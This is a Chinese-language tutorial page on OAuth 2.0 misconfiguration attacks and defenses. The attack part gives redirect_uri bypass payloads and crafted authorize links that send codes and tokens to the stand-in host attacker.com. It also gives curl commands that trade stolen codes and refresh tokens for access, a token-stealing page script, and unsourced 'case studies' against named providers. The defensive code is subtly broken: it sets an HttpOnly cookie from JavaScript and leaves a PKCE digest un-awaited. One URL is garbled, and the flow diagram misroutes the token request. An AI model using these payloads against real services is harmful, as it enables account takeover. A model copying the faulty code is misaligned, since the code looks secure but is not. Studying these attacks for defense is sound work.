OAuth 配置错误

漏洞概述

OAuth 2.0 是广泛使用的授权协议,但由于配置复杂,常出现重定向 URI 绕过、令牌泄露、权限过度等安全问题。

OWASP Top 10: A07:2021 (Identification and Authentication Failures)
危害等级: ⭐⭐⭐⭐


OAuth 流程

┌─────────┐      ┌─────────┐      ┌─────────┐
│  Client │      │  Auth   │      │ Resource│
│ (App)   │─────▶│  Server │─────▶│  Server │
└─────────┘      └─────────┘      └─────────┘
     │                │                │
     │ 1. Auth Request│                │
     │───────────────▶│                │
     │                │                │
     │ 2. User Login  │                │
     │◀──────────────▶│                │
     │                │                │
     │ 3. Auth Code   │                │
     │◀───────────────│                │
     │                │                │
     │ 4. Token Request               │
     │───────────────────────────────▶│
     │                │                │
     │ 5. Access Token                │
     │◀───────────────────────────────│
     │                │                │

常见攻击手法

1. 重定向 URI 绕过

原理: redirect_uri 参数验证不严格,可劫持授权码。

利用方式:

# 原始配置
redirect_uri=https://target.com/callback

# 绕过方式 1: 子域名
redirect_uri=https://attacker.com.target.com/callback

# 绕过方式 2: 路径遍历
redirect_uri=https://target.com/[email protected]

# 绕过方式 3: 参数污染
redirect_uri=https://target.com/callback?redirect_uri=https://attacker.com

# 绕过方式 4: URL 解析差异
redirect_uri=https://target.com.evil.com/callback
redirect_uri=https://evil.com/target.com/callback

实战:

# 构造恶意链接
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://attacker.com/steal&
  response_type=code&
  scope=read+write

# 用户授权后,授权码发送到 attacker.com
# 攻击者用授权码换取 access_token

2. 授权码劫持

原理: 授权码在传输过程中被截获。

利用:

# 1. 诱导用户点击恶意链接
https://oauth-server.com/authorize?
  client_id=LEGIT_CLIENT&
  redirect_uri=https://attacker.com&
  response_type=code

# 2. 用户授权,授权码发送到 attacker.com
code=AUTH_CODE

# 3. 攻击者换取 token
curl -X POST https://oauth-server.com/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://attacker.com" \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET"

3. 隐式流攻击 (Implicit Flow)

原理: Implicit Flow 直接在 URL 中返回 token,易被截获。

利用:

# 恶意页面
<script>
  window.location = 'https://oauth-server.com/authorize?' +
    'client_id=CLIENT_ID&' +
    'redirect_uri=https://attacker.com/steal?' +
    'response_type=token';
</script>

# token 在 URL 片段中
https://attacker.com/steal#access_token=TOKEN&token_type=bearer

# JavaScript 可读取
const token = window.location.hash.split('=')[1];

4. 刷新令牌泄露

原理: Refresh Token 长期有效,泄露后可持续访问。

利用:

# 窃取 Refresh Token (XSS/日志泄露)
refresh_token = "1//0e..."

# 持续获取新 Access Token
curl -X POST https://oauth-server.com/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=1//0e..." \
  -d "client_id=CLIENT_ID"

5. 权限过度 (Scope Escalation)

原理: 请求超出应用需要的权限范围。

利用:

# 应用只需要读取邮箱
# 但请求了所有权限
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  scope=email+profile+drive+calendar+contacts&
  response_type=code

# 用户可能不注意,授权所有权限

6. CSRF 攻击

原理: 缺少 state 参数验证。

利用:

# 1. 攻击者发起授权请求
https://oauth-server.com/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://target.com/callback&
  response_type=code
  # 缺少 state 参数

# 2. 用户点击,授权码返回
# 3. 攻击者用自己的账号完成授权
# 4. 受害者账号被绑定到攻击者账号

实战案例

案例 1: Facebook OAuth 重定向绕过

# 漏洞:redirect_uri 验证不严格
https://www.facebook.com/v3.2/dialog/oauth?
  client_id=123456789&
  redirect_uri=https://attacker.com/&
  response_type=code

# 绕过验证
https://www.facebook.com/v3.2/dialog/oauth?
  client_id=123456789&
  redirect_uri=https://attacker.com#facebook.com/&
  response_type=code

案例 2: Google OAuth 权限提升

# 请求额外权限
https://accounts.google.com/o/oauth2/auth?
  client_id=CLIENT_ID.apps.googleusercontent.com&
  redirect_uri=https://target.com/oauth2callback&
  scope=email+profile+https://www.googleapis.com/auth/drive&
  response_type=code&
  access_type=offline

# 用户授权后,应用可访问 Google Drive

案例 3: GitHub OAuth 劫持

# 1. 诱导用户授权
https://github.com/login/oauth/authorize?
  client_id=CLIENT_ID&
  redirect_uri=https://attacker.com/callback

# 2. 获取授权码
code=AUTH_CODE

# 3. 换取 token
curl -X POST https://github.com/login/oauth/access_token \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET" \
  -d "code=AUTH_CODE"

# 4. 访问用户数据
curl -H "Authorization: token ACCESS_TOKEN" \
  https://api.github.com/user

案例 4: 微信 OAuth 配置错误

# redirect_uri 未严格验证
https://open.weixin.qq.com/connect/qrconnect?
  appid=APPID&
  redirect_uri=https://attacker.com/callback&
  response_type=code&
  scope=snsapi_login

# 获取 code 后换取 access_token
https://api.weixin.qq.com/sns/oauth2/access_token?
  appid=APPID&
  secret=SECRET&
  code=CODE&
  grant_type=authorization_code

工具

OAuth 测试工具

# oauth2-test-server (本地测试)
git clone https://github.com/nicholasaleks/oauth2-test-server
cd oauth2-test-server
npm install
npm start

# 配置测试场景
# http://localhost:3000/

Burp Suite

1. 捕获 OAuth 请求
2. 修改 redirect_uri 参数
3. 发送到 Repeater 测试
4. 使用 Intruder 爆破子域名

防御建议

服务端配置

# 1. 严格验证 redirect_uri
from urllib.parse import urlparse

allowed_redirects = [
    'https://target.com/callback',
    'https://app.target.com/callback'
]

def validate_redirect(redirect_uri):
    if redirect_uri not in allowed_redirects:
        raise ValueError("Invalid redirect_uri")
    return True

# 2. 使用 state 参数防止 CSRF
import secrets
state = secrets.token_urlsafe(32)
# 存储在 session 中,回调时验证

# 3. 使用 PKCE (Public Clients)
import hashlib
import base64

code_verifier = secrets.token_urlsafe(32)
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()

# 授权请求
auth_url = f"https://oauth-server.com/authorize?code_challenge={code_challenge}"

# 回调时验证 code_verifier

# 4. 最小权限原则
scope = "email profile"  # 只请求必要的权限

# 5. Token 安全存储
# 使用加密存储,设置合理过期时间

客户端实现

// 1. 使用 PKCE
async function generatePKCE() {
    const verifier = crypto.randomBytes(32).toString('base64url');
    const challenge = crypto.subtle.digest('SHA-256', 
        new TextEncoder().encode(verifier)
    );
    return { verifier, challenge };
}

// 2. 安全存储 Token
// 使用 HttpOnly Cookie
document.cookie = `access_token=${token}; HttpOnly; Secure; SameSite=Lax`;

// 3. Token 刷新
async function refreshToken() {
    const response = await fetch('/refresh', {
        method: 'POST',
        credentials: 'include'
    });
    // 处理新 token
}

// 4. 自动过期
setTimeout(() => {
    logout();
}, token_expiry * 1000);

检查清单

  • redirect_uri 白名单验证
  • state 参数防止 CSRF
  • 使用 PKCE (Public Clients)
  • 最小权限 scope
  • Token 加密存储
  • 合理过期时间
  • Refresh Token 轮换
  • 审计日志记录

参考链接